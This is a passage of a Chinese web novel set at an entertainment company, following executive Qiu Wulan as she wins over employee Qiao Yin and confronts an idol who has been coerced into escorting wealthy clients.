邱芜澜回眸,扫了眼身后的病房,“别打扰病人们休息,今天太晚了,有什么事,明天公司再说。” “好。”乔尹应承了下来,“明天上午我去找您。” 两人自电梯前分开,乔尹没有去病房,转向了父亲主刀医生的办公室。 “杨医生,打扰了,我有些事想要问您。” 向下的电梯内,邱芜澜摩挲着衬衫上的黑玉袖扣,清冷的眸中漫起丝丝笑意。 …… 当旭日升空,昨晚的冷霜化尽时,邱芜澜办公室的门被叩响。 “进。” 她不意外地看见了乔尹。 “坐吧。”邱芜澜按下桌上的通讯器,“简,泡一杯茶。” “不用了邱总。”乔尹抬手,在邱芜澜对面坐下,“我来找您是为了一些私事——关于我父亲。” 邱芜澜双手交叉于膝前,上身向后靠去,作出倾听的姿态。 倾听,而非聆听。 她读出了乔尹的戒备和反感,这时候表现出亲切、关心,只会适得其反。 “昨天晚上,我找杨医生了解了情况。”乔尹道,“您是怎么知道我父亲的病的。” 邱芜澜哂笑,“这事说出来让你笑话。” “阿尧看上了16层前台的小文,为了追人家,买了条手链,又不好意思直接表白,故意跟几个女生一起玩真心话大冒险,说谁的秘密够刺激,他就把手链送给谁。” 她将季尧和Yuumi玩游戏的过程原原本本地说了出来,眼看着乔尹的脸色从冷淡、排斥,变成尴尬,然后是羞窘,最后恨不得找条地缝钻进去。 “原、原来是这样……”他面红耳赤地垂下了视线。 昨天晚上,得知自己父亲转入这家医院居然是邱芜澜一手策划时,乔尹无疑是愤怒的。 他知道邱芜澜想要拉拢ASHS修改合约,可没想到她居然如此不折手段,竟偷偷调查自己的家人、窥探他的生活隐私。 他想到了侦探、想到了跟踪,无论如何都没想到原来是自己老婆偷偷往公司塞的关系户,把自己痛苦的家事当成追男人的筹码说了出来。 乔尹耳尖充血,一半是窘迫,一半是被气得不轻。 “阿尧看见了泽安发给我的合约修改草书,就把这件事告诉了我。” 邱芜澜坦然道,“为了推进改革,接下来就和你听到的一样:我找上了你父亲当时的主治医师,让他把杨医师推荐给你。” 她直白得出乎乔尹意料,他缓了缓窘迫的心情,正色道,“何必这样绕圈子,您为什么不直接和我说呢。” 正是因为邱芜澜做得那样隐秘,才让乔尹往坏处作想,要是她大大方方的和他交易,他也不至于想法这么阴暗。 “简一开始是想约你见面的,被我拒绝了。”邱芜澜目光远去,越过乔尹,望向了虚无的某处。 “我不想把交易上升到人命的层面,逼你在公司和父亲的命上做选择。” 邱芜澜道,“我能理解你当时的感受。” 乔尹附和着笑笑,把后一句当做虚词客套。 然而邱芜澜的下句话,炸碎了他的这一想法。 她低声开口:“7068,是我母亲住过的病房。” 乔伊错愕:“什…” “她在那里住了两年,最后,医生建议我们回家。”邱芜澜敛眸,“我不认识你父亲,可一直想去看看他——看看那间病房里出现转机的模样。” “抱歉,”她后知后觉地意识道,“你们家讲究这个么,觉得晦气?我母亲已经去世十多年了,那间病房总体治愈率是很高的。” “不不、不会。”乔尹震惊地说不出话来,此前恶意揣测的惭愧还没有消除,更重一层的愧疚压得他抬不起头。 “对不起邱总,我没有想到是这样……真的、真的很抱歉。” “没关系,”邱芜澜眉间展露一份释然,“你不用有负担,这也是为了我自己,是我想要看见那间病房里走出病愈者的场景。” 乔尹涩然地说不出话来。 良久,他深深吸气,重新直视邱芜澜,“邱总,什么也不说了,您救了我父亲的命,这些年来,公司也确实没缺过我什么,我没有拿得出手的——新的合约已经定下了么?” 邱芜澜莞尔,从抽屉里取出一份崭新的文件,在桌面推给了他。 乔尹接了过来,大致扫了眼后,对邱芜澜道,“我叫我助理过来这里一起看。” 邱芜澜抬手,示意他自便。 那朵从庄园深处带来的蔷薇彻底败谢,花瓣黑黄,片片松脱,气味甜糜。 它被邱芜澜放去了别墅花园,和泥土归于沉寂。 「芜澜,爱惜你的身体,更要珍惜你的头脑,利用好你拥有的一切。」 最后,腐烂的蔷薇留下这样一句叮咛。 …… “季尧!拜托让我见下季尧!” “不好意思女士,”19层的前台接待拦住了神色匆匆的女生,“这里是艺人区,您的工牌没有进入的权限。请问您有预约么” Yuumi着急地往楼内张望,一边从包里掏出了一只黑色的折叠镜,“我是季尧的朋友,这是季尧给我的,让我进去。” 接待看了眼那支九块九包邮的镜子,麻木地微笑着,“您是他朋友的话,可以给他打个电话。” “电话……”Yuumi难堪地咬着下唇,“我、我忘带手机了,你帮我联系下他吧,跟他说我的名字就行。” 忽然间,一抹亮色出现在走廊深处。 穿着雪白卫衣的少年自廊上经过,走向休闲区。 “季尧!”Yuumi连忙招手呼唤,“季尧!是我!” 趁着接待转头的瞬间,她越过了前台,朝前方跑去。 接待惊呼一声,追在后面,“女士!女士您不可以这样!公司明文规定了普通员工不能随意进入艺人区!” “放开!别扯我这件衣服!” 两人的拉扯惊动了这一片的艺人,休息室的门打开了几扇,RNI的门也被推开。 罗浩炆疑惑地探出头来,“季尧,你粉丝?挺眼熟的。” “不,好像是楼下外贸部的。”季尧端着咖啡杯上前,对着接待一点头,“我来处理。” 接待迟疑地看了眼Yuumi,她的状态实在太像私生饭,要不是挂着自家公司的工牌,接待差点想要叫保安。 和季尧确认过对方身份后,接待回到了前台。 Yuumi烦躁地拍了拍衣服上的褶皱,娇嗔道,“季尧,你们这层的接待怎么这样啊。” “白天是这样,”季尧笑着说,“到了晚上就是男接待了,不会那么斯文。” Yuumi一噎,暂且放下这一话题。 她整理好了衣服,仰头看向他,可怜兮兮地开腔,“季尧……” “等一下,小姐姐。”季尧抬手,制止了她的下文,“我还不知道你是哪位。” Yuumi不可置信地睁大双眼,“我是Yuumi呀,你忘了,我们之前还和文文姐一起玩过游戏呢。” “哦~文文姐。”季尧扬唇,露出一侧犬牙牙尖,“我想起来了,是Yuumi姐啊,找我有事?” “是、是。”女生踌躇地小声道,“季尧,你是不是把我告诉你的秘密说给邱总了?” “秘密?哪个秘密?” 见他一脸疑惑,Yuumi 焦急道,“就是、就是……就是我表姐夫他爸生病的事啊。” 又是一声曲折上扬“哦~”,季尧笑着,指向身后,“我没有和姐姐说,姐姐对八卦不感兴趣,我只告诉了罗浩炆。” 歪在磨砂门后偷听的罗浩炆一惊,对上女生阴戾的视线后,尴尬地笑了笑,从门后挪了出来。 “原来是你告诉季尧的,”他挠了挠头,“我也是关心乔尹老师,想帮着问问哪里有医院可以做手术。哎哎,我可没有和邱总说啊,我只是问了问身边的几个朋友,现在是怎么了吗?” 他也没和多少人说啊,到底是谁给他传出去的…… 对罗浩炆这种要人气没人气、要背景没背景的小艺人,Yuumi 的态度一下子炸了开来。 “我真服了,你一个男人怎么这么八婆啊!连人家的家事都要到处传!现在连我表姐夫都知道了,他要我这个月离职!你说怎么办?” 罗浩炆默默躲到了季尧身后。 季尧微讶,“乔尹哥要你离职?为什么?” Yuumi的气焰熄了下来,憋屈地撇嘴嘟囔,“他嫌我多嘴呗。” “季尧~”她轻轻拉住季尧的衣袖,“季尧,你帮我去和他解释一下好不好?或者你身边能不能给我安排一个位子呀,我的口语不错的,你不是不擅长外语吗,出国拍摄时可以带上我呀!我可以给你做翻译,还可以给你当导游,我去过很多国家的!” 季尧长了一副漂亮的混血样貌,偏偏不擅长外语,这点被网民嘲笑了好一阵,也更坐实了他不学无术的草包人设。 罗浩炆控制不住自己的嘴巴,在季尧背后小声道,“他是不擅长外语,可他也全世界都玩遍了,不需要导游。” 他刚说完就被Yuumi恶狠狠地瞪了眼,她拉着季尧的袖子娇声道,“而且,我和文文姐可是好闺蜜,你不是想追她么,我可以帮你呀。” 罗浩炆惊悚地看向季尧,怎么回事!小少爷居然要追女生了!他居然不知道!他不是他玩得最好的伴读了! “啊,文文姐。”季尧耸肩,“我现在不喜欢她了。我也用不着翻译,AI翻译很方便,还不用花钱。” Yuumi愣了下。 一身雪白的少年冲她灿笑,“抱歉了Yuumi姐,不过,只是换份工作而已,没什么大不了的吧?你家里也不缺钱,干嘛非要上班,自己创业或者到处玩玩不好么。” 他端着咖啡杯转身,冲她摆手,“那就先这样,我还在排位。你走的时候记得和接待姐姐说声对不起,下次再这样硬闯,她可是会叫保安的哦。” Yuumi愣怔着,直到季尧接了咖啡、回到RNI的休息室后,都没能回神。 不对……不该是这样的啊。 那天他是那样热情可爱地叫自己“Yuumi姐”,对她表现出了浓厚的好奇,知道她在国外读了研究生后更是一脸崇拜。 他把手链给了文文后,还体贴地从口袋里找出了那把折叠镜,歉疚地向她道歉,“对不起啊Yuumi姐,我不知道今天会碰到你。手链给文文姐了,我的小镜子送给你好么,下次再补给你别的东西。” 为什么…… 到底是哪里出了问题…… 第49章 第四十九章 “杨医生, 有件事我想问下您。” 父亲出院当日,乔尹的心情有些沉重,他犹豫再三, 还是找上了杨医生。 “你说。” “我听到了一些消息,”乔尹沉声道, “我父亲住的这间病房,是邱总母亲曾经住过的么?” 他见识过邱芜澜挖人、抢项目的手段, 当时的动容愧疚过去后,回到家里,乔尹有些怀疑那些话是否只是邱芜澜编造的陷阱。 如果真是那样, 自己可真是被她玩弄于股掌之中了…… “你知道了?” 然而下一刻, 杨医生不做遮掩的诧异表情粉碎了乔尹的猜疑。 “是啊, 十多年前的事了。”他摘下眼镜, 感慨叹息, “邱夫人转到我们医院的时候, 情况已经不容乐观。她住了两年, 邱总每天都来看她,后来邱夫人对我说,想要回家保守治疗, 我不建议她这么做, 可她还是坚持回去了。” 杨医生说罢, 好奇道,“你是怎么知道的, 芜澜还和我特地交代了, 不要告诉你这事呢,怕你有心理负担。” “啊我…”乔尹支吾应和着。 这份羞愧,在出院时看见带花而来的邱芜澜时升至顶峰。 “邱总, ”他搀着父亲上车,不自在地和邱芜澜打了声招呼,“您怎么过来了。” 邱芜澜没有回答,将百合送入他怀里,“我想过买点补品,又怕老人家吃坏了。” “这多不好意思。”乔尹惭愧道,“您出了那么大的力,还特地过来一趟。” 邱芜澜笑笑,“我说了,这也算是为了我自己。” 车门开着,她去看了乔尹父亲,弯腰同老人家问候了几句。 “也算是为了我自己” 从杨医生那里得到证实后,乔尹愈理解了这句话,心中也愈发过意不去。 他对邱芜澜的善良存疑,但对邱芜澜重视家人的心意毫不怀疑。 她是最典型不过的邱家人,也是个幼年丧母的女孩,没有必要为了工作拿这种事情作秀。 “邱总,到家一块儿吃个饭吧。”乔尹开口。 “不了,”邱芜澜直起腰,捋过垂落的发丝,“我还有事,先回公司了。” “……好。”乔尹道,“我们公司见。” 邱芜澜看出了他的神情转变。 旧的四名ASHS,最末位的杨芸已用两条红绿柱石拉拢,首位的乔尹也已彻底解决。 有他们牵头,再加上新来的季语薇、华君润,这场改革势必得以推进。 接下来,该着手推进她自己的事了。 …… “尘霄哥,别老是看手机嘛。” 贴着桃粉色长甲的手抽走了韩尘霄的手机,他抬头,看见浓妆的女孩冲他噘嘴,“你本来就难约,好不容易出来,都不看人家,就顾着玩手机。” “还给我。”韩尘霄伸手去拿,女生嬉笑着扭身转开,“不,叫你不专心,我倒要看看你在和哪个女人聊天。” 她说着就要去翻手机的界面,忽然间,一股大力攥住了她的手腕,猛地把手机拔了出来。 “啊!”她低叫出声,不是装模作样的娇呼,是真的吃痛,“干什么呀,你抓痛我了!” 包厢里听见痛呼的其他人帮着指责起韩尘霄,“怎么对人女孩子的?来,尘霄,赔人家一杯。” “对,赔我们琪琪一杯!” 韩尘霄紧紧抓着手机,阴沉地扫了眼噘嘴不高兴的女孩。 他转身拿起桌上的酒杯,也不管里面装的是什么,干脆利落地仰头喝下。 周围爆发出欢呼,女生的面色就此转霁。 “好啦,原谅你啦。”她腻去韩尘霄身侧,伸出自己的左手,“看呀,都抓红了,给人家揉揉。” “我还有事,”韩尘霄自她身前迈过,“今天就先到这里。” 他带起自己放在座位上的外套,拉门的同时,大门从外被人推开。 一身皮衣的梁勤文出现在门口,和韩尘霄正面撞上。 梁勤文挑眉,“上哪儿?” “勤文哥……”韩尘霄低声道,“我今天有事,先回去了。扫了您的兴,这一次记我账上。” “不扫兴。”梁勤文一掌重重拍在韩尘霄肩上,顺着力把韩尘霄勾回了房内,“先坐,说个事儿。” 他进了包厢,挥手,震耳的音乐立刻降低了一半。 梁勤文搂着韩尘霄坐下,旁边有姑娘倒酒,被跟着他一起来的杜陵隔开。 “下周一有空么。”梁勤文搭着韩尘霄的肩膀问。 韩尘霄指尖收拢,近三个月的威逼利诱,他已麻木得提不起愤怒,只剩下反感的底色。 拒绝无用,他直接询问:“勤文哥有事?” “周一下午我有个客户,她女儿很喜欢你。”梁勤文道,“一起吃个饭?” 韩尘霄抬眸,他一直以为梁勤文一伙人只是纯粹拿自己取乐,原来最后的目的是在这里。 难怪每次“聚会”都有那么多男艺人。 “勤文哥,你是知道我们公司的,偶像有恋爱禁令。”韩尘霄道。 “哈,”杜毅嗤笑,“哪家公司没有?” “没让你去恋爱——”梁勤文似笑非笑地乜他,“人家可是莲芳集团的小公主,你就是上赶着,也不会有什么恋情。” “只是一起吃顿饭,带着她去游乐场玩一圈,哄高兴了,这单生意我给你千分之一的提成,怎么样?” “游乐场会被人拍到的,哥。”韩尘霄推拒着,口吻却徒留深深的无力。 “是莲芳集团他们自己新建的游乐园,还没对外开放,小公主过去体验一下,没有别人在。” 杜毅适时补充,“也不要你做什么,吃吃喝喝玩半天,这千分之一算下来起码是你三个月的收入。别这么不给面子。” 最后一句话暗藏着威胁。 韩尘霄半垂眼睑,他在昏暗的灯光下沉声道,“勤文哥,你得答应我,不做别的事。” 梁勤文笑了起来,从烟盒里抽了支烟给他,拍拍他的肩,“这就对了。给公司打工,这辈子都别想赚到钱,脑子,活分点儿。” 韩尘霄沉默地接过烟,低头看了眼手机。 聊天记录上堆满了绿色的气泡,对面的白色已经很久没有出现了。 叮——清凌的打火声出现在韩尘霄指下。 他斜眸,笑容甜美的女郎为他点上了烟。 韩尘霄在聊天界面反复退出、重进了三次,屏幕那端没有任何回应。 出道以来,有不少人给韩尘霄递过烟,他几乎不抽,这是韩尘霄回国后第一次用了整根烟。 …… “邱总,”简递上一套牛皮纸袋,“韩尘霄的体检结果出来了。” 邱芜澜绕开线绳,抽出了纸袋里的报告,大致扫过。 简眉宇间透着点点宽慰,“您可以放心了。” “其他艺人的体检报告也都出来了么?”邱芜澜问。 “是的,正准备让行政发给他们。” “做两份假的,”邱芜澜按下了韩尘霄的体检报告,“一份给我,一份让行政错送去华君润那里。” 简愣了下,旋即颔首,“我明白了。” 有电话进来,邱芜澜对简示意。 语音刚刚接通,热情的邀请声便传了过来,“芜澜啊,我下周一要到瑚城,你过来见个面吗?” 邱芜澜含笑推辞,“阿姨,我周一上班呢。” “你茜茜妹妹也在,新的游乐园不是建好了么,趁着开张,你们一起去玩玩嘛。” 由制药起家,随后建立综合购物城的莲芳集团董事长夫人,是邱夫人走得最近的一位太太,也是家世背景最显赫的一位。 两边集团不存在直接竞争,在邱夫人的经营下,关系一直融洽。 正因如此,莲芳集团旗下的宜安城才会频频与秋叶艺人联动,第四百座宜安城建成时,莲芳集团更是邀请了邱芜澜参加剪彩。 邱芜澜这两天难得有空,打算先把韩尘霄的事情解决了。 叶太太可以晚点招待,但再这么下去,她的那条小黑狗怕是撑不住,要夭折在华君润手里。 “实在是不巧,这几天有点忙,要么您看,周四您还在瑚城么,我请你们吃饭。” “唉,你忙就算了。”叶太太道,“茜茜这段时间迷上了你家的一个小男生,她迫不及待地要见你,说要打投什么的,催着我早点来瑚城见你。” “谁这么幸运,能被茜茜看上。我让他代我过去陪您。” “不用,游乐场的代言人要请我们吃饭,说他和那个小男生是朋友,知道茜茜在,已经请他过来了。”叶夫人想了想,“我听茜茜念叨,好像是叫什么潇潇?” “霄霄。”邱芜澜道,“韩尘霄。” “诶对对,就是这个名字。” 邱芜澜移眸,“叶阿姨,我挪一下排程,周一来见您和茜茜。” 她指尖搭在那份体检报告上,压住了封面上“韩尘霄”三个字。 这个周一,是十年来最热的春天,最高温直逼三十度。 罗浩炆躺在床上和季尧远程联机,宿舍厕所传来洗澡声,他惊疑地看见韩尘霄一身水汽地从里走出。 “上午十点,你今天又没运动,洗什么澡?” “一会儿要出去。”韩尘霄吹着头发,拨了拨刘海。 “怎么,你有活儿?”罗浩炆翻身坐了起来,兴冲冲地自荐,“什么活儿呀,带我一起呗。” “不是工作,是外地的朋友来瑚城,我带她们逛逛。” “哦。”罗浩炆立刻没了兴趣。 他一点儿也不八卦对方是男是女,韩尘霄这种三好偶像,死也不可能大白天单独和妹子出去玩。 韩尘霄回到房间换衣服,拉开衣柜抽屉找皮带时,看见了百达翡丽的盒子。 顿了顿,他打开了盒子,取出了那支手表,手表下垫着写了“邱”字的四方卡片。 他熟稔地戴上手表,翻转手腕,看着金属表盘折射出的冷光。 远处手机闹钟响了起来,提醒韩尘霄已到出门时间。 他在闹铃声中匆匆取下手表,神情晦涩地摩挲了下那个邱字。 已经结束了么…… 从他迟到慈善晚会那天起,邱芜澜就对他十分敷衍。 他发给她的消息,她三五天才会回一句“忙”“好”“嗯”。 如果他主动去见她,她对他的第一句话不是“上班时间,我不想谈私事”,就是“我现在有点忙,晚点再说”。 韩尘霄不想当一个敏感矫情的男朋友,他无数次构思过自己和邱芜澜的模式。 他配不上她,毫无疑问,所以他绝不会有任何大男子主义,一定百分百尊重她的想法。 可到了这个地步,他实在没法自欺欺人。 这不是矫情,而是自知之明—— 他犯了邱芜澜最讨厌的错,于是她淘汰了他。 淘汰男人对邱芜澜来说比换衣服更加容易,她甚至不需要亮出任何身份:邱家长女、秋叶娱乐总裁、金融直博……仅凭她绝尘的气质,在吧台上坐一会儿,都会得到源源不断的搭讪。 他这种三线艺人又算得了什么,不过是邱芜澜一时错眼的误选罢了。 韩尘霄自嘲地扯了扯嘴角。 他坐在去饭店的车里,像是去接客的妓.女,化着艳俗的妆、喷着故作清新的香水,打扮得再是花枝招展,那双眼睛都是死气沉沉的,骗不了人。 车子停下,他木然地看了眼这家私房餐厅。 餐厅建在隐秘的花园内,玻璃墙里面没有客人。 对方是莲芳集团的太太小姐。 在这个资本主义国家里,莲芳集团和秋叶集团一样,是位于金字塔顶端的庞然大物,是整个国家、各个机关背后真正的主导者。 韩尘霄忽然好受了些,被莲芳集团的小公主喜欢,别说是他,就算是这个国家的元首都得打扮得像妓.女一样,谄媚讨好地赶来赴约。 他是被逼无奈,他没有说不的权力。 餐厅里,梁勤文来得比他还要早。 韩尘霄走去他身边,喊了声哥。 “坐。”梁勤文指了指身边的座位,“叶太太和叶小姐就快到了。” 他今天穿得英俊斯文,头发全部梳到了额后,没了镜头前的高冷叛逆,也没了私下里放荡不羁,整个人看来活像个金融精英。 韩尘霄跟坐在他身边,看见梁勤文不断整理着衣襟袖口。 在叶太太和叶小姐面前,即便是梁勤文这样的超一线男星,也不过是个取笑逗乐的戏子。 她们来看他,和普通人去电影院看电影没什么分别,是日常的休闲娱乐。 “叶太太让你劝叶小姐好好读书。”梁勤文一边调试袖口,一边道,“这也是她带叶小姐来见你的目的。叶小姐现在高三,正是叛逆期,比起父母,更听偶像的话。” “还有两个半月高考,叶太太说了,要是你能激励叶小姐学习,她涨一分,你十万;十分,一百万。” 韩尘霄愣了下。 他对上梁勤文玩味的余光,“别总拿励志剧女主角的眼神瞪我。出来当明星,谁不是为钱为名,纯爱音乐的那叫艺术家,艺术家可不会上综艺、接广告、扮猴儿戏。你没你想得清高,我也没你想得邪恶。这样好的活儿,我出道十多年也没遇上过,头一回见,可就给了你。” 韩尘霄不自然地扯了扯嘴角,“谢谢哥。” 有车声传来,梁勤文起身,扭了扭脖颈,发出噼啪的关节音。 “怎么表现,不用我教了?” 韩尘霄站在他后面,过了会儿,才轻轻的嗯了一声。 侍者拉开门,清脆的铃音后,韩尘霄那张清冷英气的脸忽而覆上了浅浅的笑意,极具舞台表现力。 “叶夫人!”梁勤文快步上前,笑着和为首的妇人握手。 “小梁呀,”雍容的女人侧身让出了后面的人,“我今天还带了个孩子过来,你不介意吧?” “当然,怎么会。”梁勤文抬眸,当看见叶太太身后的女人时,他笑容一僵,他身后的韩尘霄更是如坠冰窟。 邱芜澜。 姿容清雅的女人冲他们颔首,“梁先生,好久不见。” 那双清凌凌的墨眸偏扫,眸光不轻不重地落在了韩尘霄身上,像是一片黑色的羽毛落在了水面,无声无息,却拂起整湖涟漪。 眼睫微瞌,她收回了目光,韩尘霄的视线却再无法挪开半缕。 他脸上的那些假笑顷刻间瓦解,眼底骤然滚烫潮热。 如同被寄养去宠物店的小狗,他等了又等,等了又等,以为自己已被抛弃,于是自暴自弃地对每天给自己喂食的店员汪了一声。 就是这一声,他听见了推门而响的铃音,看见了回来的主人。 他惶恐至极,间或委屈,与此同时又因见到她,迸发出强烈的欢喜。 第50章 第五十章 餐厅中的气氛近乎诡静。 叶太太坐在主位, 她想拉着两个女孩儿一起坐,被叶茜躲开,她抱着邱芜澜的胳膊, 羞赧兴奋地躲在邱芜澜身后打量韩尘霄。 两个女孩坐一侧,梁勤文便带着韩尘霄落座在叶太太左手边。 看见邱芜澜的瞬间, 梁勤文确有种东窗事发的惶恐,很快, 他镇定下来,佯装平常地同叶太太寒暄。 “叶太太,来尝尝这道菜。” “不用了, ”叶太太止住他手中的公筷, “我不习惯, 自己来就好了。” 她的目光越过梁勤文, 望向韩尘霄。 “我呢, 其实不太喜欢女孩儿追星。倒不是我古板, 只是做父母的, 谁愿意看着自己的宝贝女儿追着男人献殷勤。”她和煦地开口,“但听说是芜澜旗下的艺人,我一下子就放了心了, 芜澜看人的眼光是绝不会差的。既然来瑚城了, 我就想着顺道过来见个面。” 她笑道, “小韩,不打扰你工作吧?” “不, 不会。”韩尘霄生涩地回应, 邱芜澜出现的刹那,他又被打回那个不善社交的青年。 “不会就好。”叶太太调侃女儿,“在家里不是天天喊着人家的名字么, 怎么见面了倒不说话了?” “哪有天天啊。”叶茜红着脸小声反驳,低着头一眼不看韩尘霄。 梁勤文知趣地推了推韩尘霄,“叶太太,知道叶小姐要来,霄霄准备了份见面礼,还请叶小姐收下。” 和叶茜相反,韩尘霄的脸微微发白。 他迫切地去看邱芜澜的表情,却没探得任何回应。 她抿着松茸汤,喝得极其小口,眼角没有上扬,也没有下耷,维持在平线上。 “愣什么呢。”梁勤文敲了下韩尘霄,笑意中藏着阴戾的威胁。 韩尘霄顿了顿,将座位下的纸袋拿出。 “谢谢。”叶茜羞涩接过,“我可以打开看么。” “当然。”韩尘霄牵强地笑,“希望你喜欢。” 递交礼物的两人中间,是静静喝汤的邱芜澜。 叶茜坐了回去,在邱芜澜边上抽出了纸袋里的礼物。 一副画框,写着“好好学习,天天霄上”八个幼圆体毛笔字,落款是韩尘霄的Q版简笔头像。 叶茜抚着那个谐音的“霄”字,高兴地抿着唇角,分享给邱芜澜看。 邱芜澜看了,亦是笑了。 “天天霄上。”她一字一句轻声念了出来,霎时间,韩尘霄泛白的脸又涌上窘迫的赤红。 这本该是个欢欣热闹的场面,因邱芜澜突然加入,韩尘霄仿佛低电量的玩具,原本明媚欢乐的乐声变得卡顿、低迷。 他撑持着礼貌的笑容,除此之外,再做不出更多动作。 梁勤文不断示意他,桌下踹了他一脚,让他振作起来,别一副晦气脸。 韩尘霄木着脸,毫无反应,见到邱芜澜的欢喜劲儿过去后,他无可避免要面对事后的结算。 他一遍遍打量邱芜澜的面色,试图看出她对自己的态度。 是愤怒、生气,还是漠不在意? 不管哪种,韩尘霄都无力承受。 隔着满桌精致的食物,他焦躁不安,时间从未如此难捱。 整顿饭全靠梁勤文一人撑着气氛,他哄得叶太太眉开眼笑,吃完了饭,梁勤文提出带叶太太去茶室喝茶,让韩尘霄陪叶茜去游乐场。 “那么,我就先回去了。”邱芜澜对着叶太太颔首,又嘱咐韩尘霄,“注意茜茜的安全。” “别啊芜澜姐!”叶茜慌张地抱住她的胳膊,“你和我们一起嘛,我有好多话还没和你讲。再说我们两个人,多尴尬啊……” “公司还有点事。”邱芜澜提议,“不然,我让简过来陪你。” “那还是算了。” 协商妥当,邱芜澜坐进车内,嘱咐韩尘霄,“让茜茜玩得开心。” 韩尘霄咬着下唇,自始至终,他都没从邱芜澜身上看到半点不悦的影子,这句温和的嘱托,让他蓦地感受到了一种欲死的屈辱。 时代进步得飞快,唯独社会的最顶层停滞着,没有任何改变。 这餐饭,他是邱芜澜拿来取乐的家妓,宾客看上了他,她就慷慨大方地将他送出。 她说他是男朋友,可哪个女朋友会风轻云淡地嘱咐恋人好好陪另一个成年女性。 他冷得牙关打颤,比那天在酒店门口听见陌生男人的语音更加凄苦。 “尘霄哥,我们走吧。”邱芜澜的车子远去,叶茜转身,期待地望着韩尘霄,“你会恐高吗?” 韩尘霄深吸一口室外灼热的空气,让冻得发痛的心脏血液缓缓运作起来。 “还好,”他摇头,“一点点。” “那我们就从过山车开始。”叶茜弯眸。 暖春下的十八岁少女,鲜活得溢出芬芳。 她可爱、明艳又年轻,尚未沾染权贵们的不可一世。韩尘霄迟疑着,觉得自己可以尝试一次:“对不起啊叶小姐,我今天身体不太舒服,我让浩炆陪你去好吗?你应该也认识他。” “尘霄哥你病了吗?”叶茜惊讶道。 韩尘霄摇头,“有点头晕。” “头晕就是缺氧,玩起来就不晕了。”她害羞地娇嗔,“走嘛,我就要高考了,接下来很难有机会玩了。” 她的口吻并不强硬,韩尘霄定在原地,认为自己可以再争取一次,“抱歉茜茜,我真的有点不太舒服。” 在他认真的神色中,少女脸上的笑一点一点褪去。 她偏着头,定定打量韩尘霄,这目光让韩尘霄莫名有些不适。 过了会儿,他听见叶茜小声问他:“尘霄哥,是不是我妈妈给的钱不够呀?” 韩尘霄猛地一怔。 少女拿出手机,悄声地同他低语:“只要你陪我玩儿,缺了多少,我都转给你,不会告诉妈妈的。” 韩尘霄倏地难以呼吸。 她十八岁,天真可爱得像是一只小猫咪。 但他不是人类,甚至不是公猫,他只是只老鼠而已。 她咬碎他头颅时的表情,甜美娇俏得没有一丝刻意。 …… 韩尘霄回到公司已近凌晨。 他疲惫不堪,坐下后再也站不起来。 这份疲惫不施于肌肉,而渗透进骨子里,在国外时他常有这种感觉,于是逃回了国内。 现在,他已置身于国内最好的娱乐公司,再没有可以逃的去处。 手机震了两下,韩尘霄漠然划开锁屏。 看完上面的消息,他霍然起身,握着手机匆匆离开休息室。 出门之前,他瞥过玻璃门上的倒影,又折返回来拨了拨头发。 零点零三分。 邱芜澜关掉了电脑。她坐在办公桌后,面前是一份牛皮纸袋。 “邱总……” 关机后的两分钟,门被叩响。 青年彷徨地站在门口,漆黑清亮的眼中蒙了雾霭,他踟蹰地望着她,不敢靠近,失去了最初清澈纯粹的欢喜。 “进来。” 邱芜澜示意他坐下,“茜茜玩得开心么。” “还可以,游乐场的项目很多。”韩尘霄半垂着眼睑,“她已经安全回家了。” “你呢。”邱芜澜问,“你最近玩得还开心么。” 韩尘霄陡然抬眸,惊疑地望着邱芜澜。 邱芜澜将牛皮纸袋推给他,“打开看看。” 韩尘霄将纸袋里的东西抽出,是他的体检报告。 只第一页翻开,终检结论下的内容晴天霹雳地打在了韩尘霄头顶。 一行触目惊心的黑色小字写着—— 【艾滋病抗体:阳性(待复查)】 “我最近听说了一些流言。”邱芜澜双手交叠于腹前,“内容不是让我很高兴,没想到,原来不是绯闻,而是事实。” “不可能!”韩尘霄猛地回神,“我没有!芜澜,我没有!” 邱芜澜冷淡地回视他,在这视线中,韩尘霄哑然,想起了自己醉宿后的那一晚。 那一晚他什么都不记得了,醒来就在陌生的酒店。 他愣怔着,失魂落魄地定在座位上。 “我不知道……”良久,他垂下头,蜷缩着捏皱了那份报告,声音咸湿喑哑,“他们逼着我喝酒,我躲不掉……我什么都不记得了,醒来后身上没有痕迹,也没有人联系过我,我以为什么也没发生……怎么会……” 啪嗒—— 阳性两个字被泪水洇染模糊。 短短三个月,仿佛一片浓雾锁住了韩尘霄。 陡然之间,他被困在了泥淖中,无力自拔,触目所及的一切都灰暗阴郁。 邱芜澜眸光微动。 韩尘霄的话完全出乎她的意料。 她着实没想到,被梁勤文钳制了三个月,韩尘霄居然没有跟人上过一次床。 那种淫.靡堕落的场合里,他都在干些什么呢——一个人坐在角落,低头玩手机? 望着面前哽咽落泪的青年,邱芜澜都觉得他单纯得有些可怜可爱了。 “一次是不得已,之后呢。” 她没有就此放过他,姿态强势地将韩尘霄逼向更绝望的脆弱里。 “他们有我的丑照。”体检报告被洇得斑斑驳驳,他颤动着,“我不想被你看见、看见那种照片……” “然后,你就出现在了富太太的餐桌上。”邱芜澜轻语,“艾滋,可没法治愈啊。” [1] 韩尘霄单手抵着额角,哭得无声亦绝望。 往后的每一天,他都将伴随着性.病度过,二十出头的年纪,生命已彻底腐烂。 良久,困在崩溃中的韩尘霄听见了一丝叹息。 一份新的报告递到了他面前。 “别哭了。”清冷的女声温柔下来,带着点无奈,“这份才是你的。” 韩尘霄愣了,懵憕地抬头看向邱芜澜,脸上泪痕纵横,冷俊的凤眸哭得泥泞湿红。 邱芜澜起身。 她绕过桌子走到韩尘霄身侧,指尖抵在他手中的艾滋报告上。 “这一份,”她俯视着他,加重了语气,“也将会是你的——如果今天我不点破,你还要继续下去么。” 大悲大喜的情绪起伏让韩尘霄脑内混沌一片,难以思考。 他怔忪地仰望邱芜澜,沙哑地喃喃,“可是他们…”“他们什么?”邱芜澜蹙眉打断,“梁勤文?一个拉皮条的,把你吓成这副模样。” 她当场拨通了语音视频。 梁勤文出现的瞬间,韩尘霄本能地别过头去,躲开摄像头,不敢与他对视。 “邱总?”梁勤文错愕不已,怎么也想不到邱芜澜会给他打视频电话。 “梁勤文。”邱芜澜掰过韩尘霄的脸,偏要他正视对方。 看到韩尘霄狼狈潮红的脸时,梁勤文咯噔了下,心虚地咽了口唾沫。 他疯狂打着腹稿,先堆起个笑,这笑才刚有个雏形,便维持不下去了。 “你私底下在干什么,我不干涉。但秋叶娱乐是正规公司,不做皮.肉买卖。” 